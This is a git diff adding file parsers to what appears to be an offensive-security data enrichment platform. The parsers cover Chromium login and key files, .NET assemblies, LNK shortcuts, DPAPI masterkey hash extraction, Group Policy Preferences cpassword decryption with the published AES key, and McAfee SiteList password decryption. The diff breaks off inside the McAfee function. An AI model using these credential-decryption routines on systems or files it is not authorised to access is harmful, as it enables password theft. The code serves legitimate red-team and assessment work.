diff --git a/cmd/enrichment/enrichment/lib/file_parsers/chromium_logins.py b/cmd/enrichment/enrichment/lib/file_parsers/chromium_logins.py
new file mode 100644
index 0000000..9156c61
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/chromium_logins.py
@@ -0,0 +1,62 @@
+# Standard Libraries
+import sqlite3
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class chromium_logins(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path)
+ if chromium_file_path.success and chromium_file_path.file_type == "logins":
+ return True
+ else:
+ return False
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+ return helpers.scan_with_yara(self.file_path, "chromium_logins")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ # build protobuf w/o the actual entries, detect/reprocess on the file side
+
+ parsed_data = pb.ParsedData()
+
+ chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path)
+ parsed_data.chromium_logins.user_data_directory = chromium_file_path.user_data_directory
+ parsed_data.chromium_logins.browser = chromium_file_path.browser
+ parsed_data.chromium_logins.username = chromium_file_path.username
+
+ try:
+ with sqlite3.connect(self.file_path) as con:
+ cur = con.cursor()
+ res = cur.execute("SELECT Count(*) FROM logins")
+ logins_count = res.fetchone()
+ if logins_count:
+ parsed_data.chromium_logins.logins_count = logins_count[0]
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing Chromium 'Login Data' file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/chromium_state_file.py b/cmd/enrichment/enrichment/lib/file_parsers/chromium_state_file.py
new file mode 100644
index 0000000..928eed1
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/chromium_state_file.py
@@ -0,0 +1,98 @@
+# Standard Libraries
+import asyncio
+import base64
+import json
+from datetime import datetime
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class chromium_state_file(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path)
+ if chromium_file_path.success and chromium_file_path.file_type == "state":
+ return True
+ else:
+ return False
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+ return helpers.scan_with_yara(self.file_path, "chromium_state_file")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ # build protobuf w/o the actual entries, detect/reprocess on the file side
+
+ parsed_data = pb.ParsedData()
+
+ chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path)
+ parsed_data.chromium_state_file.user_data_directory = chromium_file_path.user_data_directory
+ parsed_data.chromium_state_file.browser = chromium_file_path.browser
+ parsed_data.chromium_state_file.username = chromium_file_path.username
+ parsed_data.chromium_state_file.originating_object_id = self.file_data.object_id
+ parsed_data.chromium_state_file.masterkey_guid = "00000000-0000-0000-0000-000000000000" # default null for UUID
+
+ try:
+ with open(self.file_path, "r") as f:
+ state_file_json = json.loads(f.read())
+ os_crypt = state_file_json["os_crypt"]
+
+ if "app_bound_fixed_data" in os_crypt:
+ app_bound_fixed_data_enc = base64.b64decode(os_crypt["app_bound_fixed_data"])
+ parsed_data.chromium_state_file.app_bound_fixed_data_enc = app_bound_fixed_data_enc
+
+ if "encrypted_key" in os_crypt:
+ key_bytes_enc = base64.b64decode(os_crypt["encrypted_key"])
+
+ if key_bytes_enc[0:5] == b"DPAPI":
+ key_bytes_enc = key_bytes_enc[5:]
+ parsed_data.chromium_state_file.key_bytes_enc = key_bytes_enc
+
+ # run this async function synchronously
+ key_bytes_info = helpers.parse_dpapi_blob_sync(key_bytes_enc)
+
+ if key_bytes_info.success:
+ parsed_data.chromium_state_file.masterkey_guid = key_bytes_info.dpapi_master_key_guid
+ else:
+ # Unknown encryption type
+ parsed_data.chromium_state_file.key_bytes_enc = key_bytes_enc
+
+ if "uninstall_metrics" in state_file_json:
+ if "installation_date2" in state_file_json["uninstall_metrics"]:
+ try:
+ installation_date = datetime.fromtimestamp(int(state_file_json["uninstall_metrics"]["installation_date2"]))
+ parsed_data.chromium_state_file.installation_date.FromDatetime(installation_date)
+ except:
+ pass
+ if "launch_count" in state_file_json["uninstall_metrics"]:
+ try:
+ parsed_data.chromium_state_file.launch_count = int(state_file_json["uninstall_metrics"]["launch_count"])
+ except:
+ pass
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing Chromium 'Local State' file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/dotnet_assembly.py b/cmd/enrichment/enrichment/lib/file_parsers/dotnet_assembly.py
new file mode 100644
index 0000000..c2eb5ba
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/dotnet_assembly.py
@@ -0,0 +1,293 @@
+# Standard Libraries
+import datetime
+import hashlib
+import json
+
+# 3rd Party Libraries
+import dnfile
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import lief
+import nemesispb.nemesis_pb2 as pb
+import structlog
+
+logger = structlog.get_logger(module=__name__)
+
+
+def format_optional_header(pe, parsed_data):
+ parsed_data.dotnet_assembly.header.major_image_version = pe.optional_header.major_image_version
+ parsed_data.dotnet_assembly.header.major_linker_version = pe.optional_header.major_linker_version
+ parsed_data.dotnet_assembly.header.major_operating_system_version = pe.optional_header.major_operating_system_version
+ parsed_data.dotnet_assembly.header.major_subsystem_version = pe.optional_header.major_subsystem_version
+ parsed_data.dotnet_assembly.header.minor_image_version = pe.optional_header.minor_image_version
+ parsed_data.dotnet_assembly.header.minor_linker_version = pe.optional_header.minor_linker_version
+ parsed_data.dotnet_assembly.header.minor_operating_system_version = pe.optional_header.minor_operating_system_version
+ parsed_data.dotnet_assembly.header.minor_subsystem_version = pe.optional_header.minor_subsystem_version
+ parsed_data.dotnet_assembly.header.time_date_stamp.FromDatetime(datetime.datetime.fromtimestamp(pe.header.time_date_stamps))
+
+
+def format_export(pe, parsed_data):
+ for entry in pe.exported_functions:
+ symbol = parsed_data.dotnet_assembly.exports.symbols.add()
+ symbol.func_name = entry.name
+ symbol.offset = pe.optional_header.imagebase + entry.address
+
+
+def format_import(pe, parsed_data):
+ for imp in pe.imports:
+ dll = parsed_data.dotnet_assembly.imports.dlls.add()
+ dll.name = imp.name
+
+ for entry in imp.entries:
+ if entry.name:
+ func = dll.symbols.add()
+ func.func_name = entry.name
+ func.offset = entry.iat_value
+
+
+def format_signatures(pe, parsed_data):
+ for sig in pe.signatures:
+ signature = parsed_data.dotnet_assembly.signatures.add()
+ signature.version = sig.version
+
+ for signer in sig.signers:
+ signature.signers.extend([signer.issuer])
+
+ signature.verification_flags = sig.check()
+
+
+def format_version_info(pe, parsed_data):
+ raw = json.loads(lief.to_json(pe.resources_manager.version.string_file_info))
+ version_info_json = raw["langcode_items"][0]["items"]
+
+ if "Assembly Version" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.assembly_version = version_info_json["Assembly Version"]
+ if "Comments" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.comments = version_info_json["Comments"]
+ if "CompanyName" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.company_name = version_info_json["CompanyName"]
+ if "FileDescription" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.file_description = version_info_json["FileDescription"]
+ if "FileVersion" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.file_version = version_info_json["FileVersion"]
+ if "InternalName" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.internal_name = version_info_json["InternalName"]
+ if "LegalCopyright" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.legal_copyright = version_info_json["LegalCopyright"]
+ if "LegalTrademarks" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.legal_trademarks = version_info_json["LegalTrademarks"]
+ if "OriginalFilename" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.original_filename = version_info_json["OriginalFilename"]
+ if "PrivateBuild" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.private_build = version_info_json["PrivateBuild"]
+ if "ProductName" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.product_name = version_info_json["ProductName"]
+ if "ProductVersion" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.product_version = version_info_json["ProductVersion"]
+ if "SpecialBuild" in version_info_json:
+ parsed_data.dotnet_assembly.version_info.special_build = version_info_json["SpecialBuild"]
+
+
+def get_typerefs(pe):
+ # ref - https://github.com/malwarefrank/dnfile/blob/master/examples/typeref-list.py
+
+ # shortcut to the TypeRef table
+ tr = pe.net.mdtables.TypeRef
+ if not tr or tr.num_rows < 1 or not tr.rows:
+ # if empty table (possible error with file), skip file
+ return {"error": "empty TypeRef table"}
+
+ typerefs = {}
+
+ # for each entry in the TypeRef table
+ for row in tr:
+ # # if the ResolutionScope includes a reference to another table
+ # if row.ResolutionScope and row.ResolutionScope.table:
+ # # make note of the table name
+ # res_table = row.ResolutionScope.table.name
+ # # and resolve it to a string
+ # try:
+ # res_name = getattr(row.ResolutionScope.row, "Name") or getattr(
+ # row.ResolutionScope.row, "TypeName"
+ # )
+ # except:
+ # pass
+ # else:
+ # # otherwise
+ # res_table = None
+ # res_name = None
+
+ if row.TypeNamespace in typerefs:
+ typerefs[row.TypeNamespace].append(row.TypeName)
+ else:
+ typerefs[row.TypeNamespace] = [row.TypeName]
+
+ return typerefs
+
+
+def process_resources(pe):
+ # # ref - https://github.com/malwarefrank/dnfile#quick-start
+ # # access the streams
+ # for s in pe.net.metadata.streams_list:
+ # if isinstance(s, dnfile.stream.MetaDataTables):
+ # # how many Metadata tables are defined in the binary?
+ # num_of_tables = len(s.tables_list)
+
+ # # the last Metadata tables stream can also be accessed by a shortcut
+ # num_of_tables = len(pe.net.mdtables.tables_list)
+
+ # create a set to hold the hashes of all resources
+ resources = {}
+
+ for r in pe.net.resources:
+ # if resource data is a simple byte stream
+ if isinstance(r.data, bytes):
+ resources[r.name] = [hashlib.md5(r.data).hexdigest(), hashlib.sha1(r.data).hexdigest(), hashlib.sha256(r.data).hexdigest()]
+ # if resource data is a ResourceSet, a dotnet-specific datatype
+ elif isinstance(r.data, dnfile.resource.ResourceSet):
+ # if there are no entries, skip it
+ if not r.data.entries:
+ continue
+ # for each entry in the ResourceSet
+ for entry in r.data.entries:
+ # if it has data
+ if entry.data:
+ # hash it and add the hash to the set
+ resources[r.name] = [
+ hashlib.md5(entry.data).hexdigest(),
+ hashlib.sha1(entry.data).hexdigest(),
+ hashlib.sha256(entry.data).hexdigest(),
+ ]
+
+ return resources
+
+
+def parse_assembly(filename: str) -> pb.ParsedData:
+ """
+ Parses an assembly fileto a formatted protobuf.
+ """
+
+ parsed_data = pb.ParsedData()
+
+ try:
+ pe = lief.parse(filename)
+
+ # general PE fields
+ try:
+ format_import(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing imports in parse_pe()")
+
+ try:
+ format_optional_header(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing optional headers in parse_pe()")
+
+ try:
+ format_export(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing exports in parse_pe()")
+
+ try:
+ format_version_info(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing version_info in parse_pe()")
+
+ try:
+ format_signatures(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing signatures in parse_pe()")
+
+ assembly: dnfile.dnPE | None = None
+ try:
+ # .NET specific things
+ assembly = dnfile.dnPE(filename)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing assembly in parse_pe()")
+
+ if assembly is None:
+ return parsed_data
+
+ if assembly.net:
+ # .NET version
+ if assembly.net.metadata and assembly.net.metadata.struct:
+ parsed_data.dotnet_assembly.dotnet_version = str(assembly.net.metadata.struct.Version)
+
+ # P/Invoke type signatures
+ try:
+ if assembly.net.mdtables.ImplMap:
+ for row in assembly.net.mdtables.ImplMap:
+ impl_entry = pb.ImplMapEntry()
+
+ if row.ImportScope.row and row.ImportScope.row.Name:
+ impl_entry.module_name = row.ImportScope.row.Name
+ impl_entry.function_name = row.ImportName
+ parsed_data.dotnet_assembly.impl_map_entries.append(impl_entry)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing impl entries in parse_pe()")
+
+ # PDB string
+ # TODO: possible in regular PEs?
+ try:
+ debug_info = []
+ for entry in pe.DIRECTORY_ENTRY_DEBUG:
+ debug_info.append(entry.entry.dump_dict())
+ parsed_data.dotnet_assembly.pdb_string = debug_info[0]["PdbFileName"]["Value"].rstrip("\\x00")
+ except:
+ pass
+
+ try:
+ # resource names + hashes
+ for name, hashes in process_resources(assembly).items():
+ resource = parsed_data.dotnet_assembly.resources.add()
+ resource.name = name
+ resource.md5 = hashes[0]
+ resource.sha1 = hashes[1]
+ resource.sha256 = hashes[2]
+ except Exception as e:
+ logger.exception(e, message="Exception parsing resource names/hashes in parse_pe()")
+
+ try:
+ # typerefs
+ for library, functions in get_typerefs(assembly).items():
+ for function in functions:
+ typeref = parsed_data.dotnet_assembly.typerefs.add()
+ typeref.module_name = library
+ typeref.function_name = function
+ except Exception as e:
+ logger.exception(e, message="Exception parsing typerefs in parse_pe()")
+
+ except Exception as e:
+ # return helpers.nemesis_parsed_data_error(f"error parsing pe file {filename} : {e}")
+ logger.exception(e, message="error parsing pe file", filename=filename)
+
+ return parsed_data
+
+
+class dotnet_assembly(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return helpers.is_pe_extension(self.file_data.path)
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+ return helpers.scan_with_yara(self.file_path, "dotnet_assembly")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ return (parse_assembly(self.file_path), pb.AuthenticationDataIngestionMessage())
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/dpapi_masterkey.py b/cmd/enrichment/enrichment/lib/file_parsers/dpapi_masterkey.py
new file mode 100644
index 0000000..efee533
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/dpapi_masterkey.py
@@ -0,0 +1,95 @@
+# Standard Libraries
+import sys
+from typing import List
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.lib.ext_tools.DPAPImk2john import MasterKeyFile
+
+logger = structlog.get_logger(module=__name__)
+
+
+class dpapi_masterkey(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ path_out = helpers.parse_masterkey_file_path(self.file_data.path)
+ return (path_out is not None) and (path_out != {})
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+ return helpers.scan_with_yara(self.file_path, "dpapi_masterkey")
+
+ def extract_hash(self, context) -> List[str]:
+ """Uses DPAPImk2john to extract one or more hashes for this masterkey."""
+
+ path_out = helpers.parse_masterkey_file_path(self.file_data.path)
+
+ if (path_out is not None) and (path_out != {}) and path_out["sid"]:
+ sid = path_out["sid"]
+
+ with open(self.file_path, "rb") as f:
+ mkdata = f.read()
+
+ try:
+ mk = MasterKeyFile(raw=mkdata, SID=sid, context=context)
+ return [hash for hash in mk.masterkey.jhash().split("\n") if hash.startswith("$DPAPImk$")]
+
+ except Exception as e:
+ logger.exception(e)
+ return []
+ else:
+ logger.warning("User SID not populated from original file path")
+ return []
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ try:
+ dpapi_masterkey = helpers.process_masterkey_file(self.file_data.object_id, self.file_path, self.file_data.path, self.metadata)
+
+ if not dpapi_masterkey:
+ return helpers.nemesis_parsed_data_error(f"Could not find a masterkey in the file. File ID: {self.file_data.object_id}")
+
+ if dpapi_masterkey.domain_backupkey_guid:
+ context = "domain"
+ else:
+ context = "local"
+
+ hashes = self.extract_hash(context)
+
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+ if hashes:
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+ for hash in hashes:
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = hash
+ auth_data.type = "hash_dpapi_masterkey"
+ auth_data.notes = "hash extracted from file_processor->dpapi_masterkey"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ parsed_data = pb.ParsedData()
+ parsed_data.dpapi_masterkey.CopyFrom(dpapi_masterkey)
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing masterkey file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/group_policy_preferences.py b/cmd/enrichment/enrichment/lib/file_parsers/group_policy_preferences.py
new file mode 100644
index 0000000..42e4353
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/group_policy_preferences.py
@@ -0,0 +1,147 @@
+# Standard Libraries
+import base64
+import datetime
+import os
+import re
+from xml.dom import minidom
+
+# 3rd Party Libraries
+import chardet
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from Cryptodome.Cipher import AES
+from Cryptodome.Util.Padding import unpad
+
+logger = structlog.get_logger(module=__name__)
+
+
+def decrypt_cpassword(pw_enc_b64):
+ """
+ Helper that decrypts a single Group Policy Preferences password.
+
+ From https://github.com/ShutdownRepo/Get-GPPPassword/blob/main/Get-GPPPassword.py
+ License: GPLv3
+ """
+ if len(pw_enc_b64) != 0:
+ # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be)
+ key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20" b"\x9b\x09\xa4\x33\xb6\x6c\x1b"
+ # thank you MS for using a fixed IV :)
+ iv = b"\x00" * 16
+ pad = len(pw_enc_b64) % 4
+ if pad == 1:
+ pw_enc_b64 = pw_enc_b64[:-1]
+ elif pad == 2 or pad == 3:
+ pw_enc_b64 += "=" * (4 - pad)
+ pw_enc = base64.b64decode(pw_enc_b64)
+ ctx = AES.new(key, AES.MODE_CBC, iv)
+ pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
+ return pw_dec.decode("utf-16-le")
+ else:
+ return ""
+
+
+def parse_gpp_xml(filename, originating_object_id, metadata) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Decrypes a cpassword group policy preferences .xml file, returning any decrypted passwords.
+
+ Adapted from https://github.com/ShutdownRepo/Get-GPPPassword/blob/main/Get-GPPPassword.py
+ License: GPLv3
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(metadata)
+
+ if not os.path.exists(filename):
+ filename = filename.replace("/", "\\")
+
+ with open(filename, "rb") as f:
+ data = f.read()
+
+ encoding = chardet.detect(data)["encoding"]
+ if encoding is not None:
+ filecontent = data.decode(encoding).rstrip()
+ if "cpassword" in filecontent:
+ try:
+ root = minidom.parseString(filecontent)
+ properties_list = root.getElementsByTagName("Properties")
+
+ # function to get attribute if it exists, returns "" if empty
+ read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
+
+ for properties in properties_list:
+ entry = parsed_data.group_policy_preferences.entries.add()
+ entry.username = read_or_empty(properties, "userName")
+ entry.cpassword = read_or_empty(properties, "cpassword")
+ entry.password = decrypt_cpassword(read_or_empty(properties, "cpassword"))
+ entry.action = read_or_empty(properties, "action")
+ entry.description = read_or_empty(properties, "description")
+
+ if entry.password != "":
+ # signal that we do have parsed credentials
+ parsed_data.has_parsed_credentials = True
+
+ if read_or_empty(properties, "acctDisabled") != "":
+ entry.disabled = bool(int(read_or_empty(properties, "acctDisabled")))
+ if read_or_empty(properties, "neverExpires") != "":
+ entry.never_expires = bool(int(read_or_empty(properties, "neverExpires")))
+
+ if read_or_empty(properties.parentNode, "changed") != "":
+ dateString = read_or_empty(properties.parentNode, "changed")
+ dt = datetime.datetime.strptime(dateString, "%Y-%m-%d %H:%M:%S")
+ entry.changed.FromDatetime(dt)
+
+ if entry.username and entry.password and entry.disabled is not True:
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = entry.password
+ auth_data.username = entry.username
+ auth_data.type = "password"
+ if entry.description and entry.description != "":
+ auth_data.notes = f"cpassword decrypted from file_processor->group_policy_preferences\nparsed description: {entry.description}"
+ else:
+ auth_data.notes = "cpassword decrypted from file_processor->group_policy_preferences"
+ auth_data.originating_object_id = originating_object_id
+
+ except Exception as e:
+ logger.exception(e, message="Error in parse_gpp_xml")
+
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ return (helpers.nemesis_parsed_data_error(f"error parsing McAfee sitelist.xml file {filename} : {e}"), auth_data_msg)
+
+
+class group_policy_preferences(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ regex_string = ".*/(Groups|Services|Scheduledtasks|DataSources|Printers|Drives)\\.xml$"
+ return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ if os.path.getsize(self.file_path) > 1000000:
+ return False
+
+ return helpers.scan_with_yara(self.file_path, "group_policy_preferences")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ return parse_gpp_xml(self.file_path, self.file_data.object_id, self.metadata)
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/lnk.py b/cmd/enrichment/enrichment/lib/file_parsers/lnk.py
new file mode 100644
index 0000000..770ae12
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/lnk.py
@@ -0,0 +1,100 @@
+# Standard Libraries
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import LnkParse3
+import nemesispb.nemesis_pb2 as pb
+
+
+class lnk(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return self.file_data.path.lower().endswith(".lnk")
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ return helpers.get_magic_type(self.file_path).startswith("MS Windows shortcut")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+
+ try:
+ with open(self.file_path, "rb") as f:
+ lnk = LnkParse3.lnk_file(f)
+
+ lnk_json = lnk.get_json()
+
+ if "working_directory" in lnk_json["data"]:
+ parsed_data.lnk.working_directory = lnk_json["data"]["working_directory"]
+
+ if "description" in lnk_json["data"]:
+ parsed_data.lnk.comment = lnk_json["data"]["description"]
+
+ if "command_line_arguments" in lnk_json["data"]:
+ parsed_data.lnk.command_line_arguments = lnk_json["data"]["command_line_arguments"]
+
+ if (
+ "extra" in lnk_json
+ and "DISTRIBUTED_LINK_TRACKER_BLOCK" in lnk_json["extra"]
+ and "machine_identifier" in lnk_json["extra"]["DISTRIBUTED_LINK_TRACKER_BLOCK"]
+ ):
+ parsed_data.lnk.machine_identifier = lnk_json["extra"]["DISTRIBUTED_LINK_TRACKER_BLOCK"]["machine_identifier"]
+
+ if "file_size" in lnk_json["header"]:
+ parsed_data.lnk.target_file_size = lnk_json["header"]["file_size"]
+
+ if "link_flags" in lnk_json["header"] and "RunAsUser" in lnk_json["header"]["link_flags"]:
+ parsed_data.lnk.run_as_admin = True
+
+ if "location" in lnk_json["link_info"]:
+ parsed_data.lnk.location = lnk_json["link_info"]["location"].lower()
+
+ if parsed_data.lnk.location == "local":
+ if "local_base_path" in lnk_json["link_info"]:
+ parsed_data.lnk.target = lnk_json["link_info"]["local_base_path"]
+ else:
+ parsed_data.lnk.target = "ERROR: no local_base_path"
+ elif parsed_data.lnk.location == "network":
+ if "net_name" in lnk_json["link_info"]["location_info"] and "common_path_suffix" in lnk_json["link_info"]:
+ base = lnk_json["link_info"]["location_info"]["net_name"]
+ target = lnk_json["link_info"]["common_path_suffix"]
+ parsed_data.lnk.target = f"{base}\\{target}"
+ else:
+ parsed_data.lnk.target = "ERROR: network net_name"
+ else:
+ parsed_data.lnk.target = "ERROR: not local or network"
+
+ if "creation_time" in lnk_json["header"]:
+ # dt = datetime.datetime.strptime(lnk_json["header"]["creation_time"], "%Y-%m-%dT%H:%M:%S%z")
+ parsed_data.lnk.creation_time.FromDatetime(lnk_json["header"]["creation_time"])
+
+ if "accessed_time" in lnk_json["header"]:
+ parsed_data.lnk.accessed_time.FromDatetime(lnk_json["header"]["accessed_time"])
+
+ if "modified_time" in lnk_json["header"]:
+ parsed_data.lnk.modified_time.FromDatetime(lnk_json["header"]["modified_time"])
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing lnk file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/mcafee_sitelist.py b/cmd/enrichment/enrichment/lib/file_parsers/mcafee_sitelist.py
new file mode 100644
index 0000000..4448a94
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/mcafee_sitelist.py
@@ -0,0 +1,190 @@
+# Standard Libraries
+import base64
+import codecs
+import os
+import re
+import xml.etree.ElementTree as ET
+from typing import Callable, Tuple
+from unittest.mock import CallableMixin
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from Cryptodome.Cipher import DES3
+from Cryptodome.Hash import SHA
+
+logger = structlog.get_logger(module=__name__)
+
+
+def sitelist_xor(xs: bytes) -> bytes:
+ """
+ Decryption helper.
+
+ Adapted to Python3 from https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py
+ Credit to funoverip
+ No license
+ """
+
+ decode_hex: Callable[[bytes], Tuple[bytes, int]] = codecs.getdecoder("hex_codec") # type: ignore
+
+ # hardcoded XOR key
+ KEY: bytes = decode_hex(b"12150F10111C1A060A1F1B1817160519")[0]
+
+ return bytes([c ^ KEY[i % 16] for i, c in enumerate(xs)])
+
+
+def decrypt_sitelist_password(b64data: str) -> str:
+ """
+ Helper that decrypts a single base64 encypted sitelist password.
+
+ Adapted to Python3 from https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py
+ Credit to funoverip
+ No license
+ """
+
